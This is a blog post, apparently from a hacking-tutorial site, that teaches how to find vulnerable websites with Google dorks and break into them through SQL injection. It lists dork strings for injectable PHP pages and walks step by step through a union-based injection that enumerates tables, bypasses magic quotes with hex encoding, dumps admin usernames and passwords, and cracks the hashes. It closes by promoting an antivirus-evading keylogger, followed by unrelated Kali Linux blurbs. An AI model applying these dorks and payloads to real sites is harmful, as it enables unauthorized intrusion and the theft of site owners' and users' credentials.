Skip to main content

How to find a vulnerable Website Using Dork?

How to find a vulnerable Website Using Dork?
And hack website
What is an SQL Injection?
SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries).

The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another.

SQL injection attacks are also known as SQL insertion attacks.How do I know if the site is vulnerable?Well, the most basic way to do it, and the easiest, would be to use an SQLi Scanner, such as Acunetix Web Vulnerability ScannerAlternatively, you can search manually using something called a "Dork".

So what is a dork?
A dork is a simple search used on google ( or other search engines ) that brings up sites you are specifically looking for.

List of Google Dork:

inurl:index.php?id=inurl:trainers.php?id=inurl:buy.php?category=inurl:article.php?ID=inurl:play_old.php?id=inurl:declaration_more.php?decl_id=inurl:Pageid=inurl:games.php?id=inurl:page.php?file=inurl:historialeer.php?num=

Using the manual method will take a lot of trial and error.Once you have your site, to check if it is vulnerable, simply add an apostrophe ( ' ) to the end of the url.Example:http://www.examplesite.com/category.php?id=5'

If the site is vulnerable, you will see the following error or something similar somewhere on the page.

" Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\' ORDER BY date_added DESC' at line 1 "
"

If you get this, the site should be vulnerable. So far so good!How many columns?

Our next step is to find the number of columns in the database.

To do this we use the ORDER BY query. We get our normal site URL, and add

ORDER BY 1-- to the end of it. Example:Quote:http://www.examplesite.com/category.php?id=5order by 1--

The page should then show up as normal.

Now we have to increase this number until we get an error.Quote:http://www.examplesite.com/category.php?id=5order by 1-- No errorhttp://www.examplesite.com/category.php?id=5order by 2-- No errorhttp://www.examplesite.com/category.php?id=5order by 3-- ErrorWe got an error on 3, so that means our number of columns is 2

(The max column number before getting an error).

Union Select QueryWe use the union select statement to combine the results of multiple querys in our SQLi.

To test if it works, go to our sites normal URL, and write"union select 1,2--" (without quotes) after it.

In our example, we use 1,2--, but on other sites, you will usually have a different number of columns.

Example: On a site with 5 columns it would be"union select 1,2,3,4,5--".Quote:http://www.examplesite.com/category.php?id=-5union select 1,2--

Notice that there is a - in front of the 5. This is done to remove all text from the webpage, so we can see the results of our query on the page (Explanation. There isn't a -5 page anywhere on the site, so it uses the usual site template, but without the images and text of that specific page).

If union select worked, we should have no SQL errors.

We also should now see a few numbers on the page that normally aren't there. For our example,

we will say that both 1 and 2 showed upon our page.What SQL Version does my site use?This will be one of the easier things to do. After we have tested union (and it works!) we simply input "version()" in to one of the numbers in our URL, but these numbers have to be visible on the page, otherwise we won't be able to see the returned query result. Example:Quote:http://www.examplesite.com/category.php?id=-5union select 1,version()--This will replace the number 2 on our page with the SQL version. For our example we will use version 5 and above.Finding table namesNow we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names.To do so, replace version() with group_concat(table_name). Then after your last column number, add from information_schema.tables--. Example:Quote:http://www.examplesite.com/category.php?id=-5union select 1,group_concat(table_name) from information_schema.tables--On the page you should now have a list of all the table names in the database.Finding the column namesTo find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. If we found a table called admin. Example,Quote:http://www.examplesite.com/category.php?id=-5union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--Q: I get an error when I do this, or no column names are shown!A: Magic quotes is on. To bypass this, you must convert the table name to Hex.You can do this by going to http://www.swingnote.com/tools/texttohex.php .Our query would now look like this:Quote:http://www.examplesite.com/category.php?id=-5union select 1,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e --Note:the 0x tells the computer the following string is in hex

Lets say the column names were username and password.Final Step: Getting our information.To finish it off, we want to find out what the columns contain, otherwise, this has all been for nothing! To do so we get our normal site URL andadd "union select 1,concat(username,0x3a,password) from admin--".This will show the username and password from the table admin! Usually your password will be a hash,

so you can use an online MD5 Cracker suchas MD5Crack or use a program such as Cain and Abel to decrypt the password hash.


Keylogger:

Most of the public crypters and keyloggers are detected by antiviruses. If you want to have a FUD version of keylogger, please use best Hacking software- Winspy Keylogger which is FUD(Fully UnDetectable).So friends, I hope you will like thisEnjoy Website Hacking ........

Comments

Popular posts from this blog

Upcoming Book- Kali Linux Revealed: Mastering the Penetration Testing Distribution

More exciting news! In the past year, Kali Linux Official Team has been working internally on an Official Kali Linux book – Kali Linux Revealed: Mastering the Penetration Testing Distribution . This is the first official Kali book from Offsec Press , and is scheduled for release on June 5th, 2017 . Kali Linux Revealed will be available in both hard copy and online formats. Keeping the Kali Linux spirit, the online version of the book will be free of charge, allowing anyone who wishes to hone their skills and improve their knowledge of Kali to do so at no cost. This book, together with our official Kali documentation site will encompass the body of knowledge for the Kali Linux Certified Professional   (KLCP) .

Kali Linux: A complete InfoSec Distro

BackTrack has always been a popular choice when it comes to security and penetration testing. This open source distro has gained a lot of popularity and was rolled till version 5 with frequent changes to the variants. This project from Offensive Security has been moved from Ubuntu to Debian and the operating system is now renamed as Kali Linux. If you have installed a fresh copy of Kali Linux, then you might have noticed some awesome security and penetration tools under Kali Linux drop down menu list. These tools are powerful and yet efficient to use. If you go through the menu list of security tools, you might have noticed that few like Wireless Attacks, Forensics and Reverse Engineering is added, which is quite impressive. One more section has been added in the list, ie Hardware Hacking. One more thing that you would be happy to see is Arduino kit on the list. Arduino is a single-board microcontroller designed to make the process of using electronics in multi-disciplinary projects mo...

EOF of Kali Linux 1.0

Kali Sana (ver. 2.0) has been out there couple of months ago and the response was great. Kali Moto (ver. 1.0) has been given 2 months of grace period to date the version to 2.0. To upgrade, edit the souces.list file and put the following entries. cat >> EOF < /etc/apt/sources.list deb http://http.kali.org/kali sana main non-free contrib deb http://security.kali.org/kali-security/ sana/updates main contrib non-free EOF Then, run the following command to do upgrade Kali Moto to Kali Sana. apt-get update apt-get dist-upgrade # get a coffee, or 10. reboot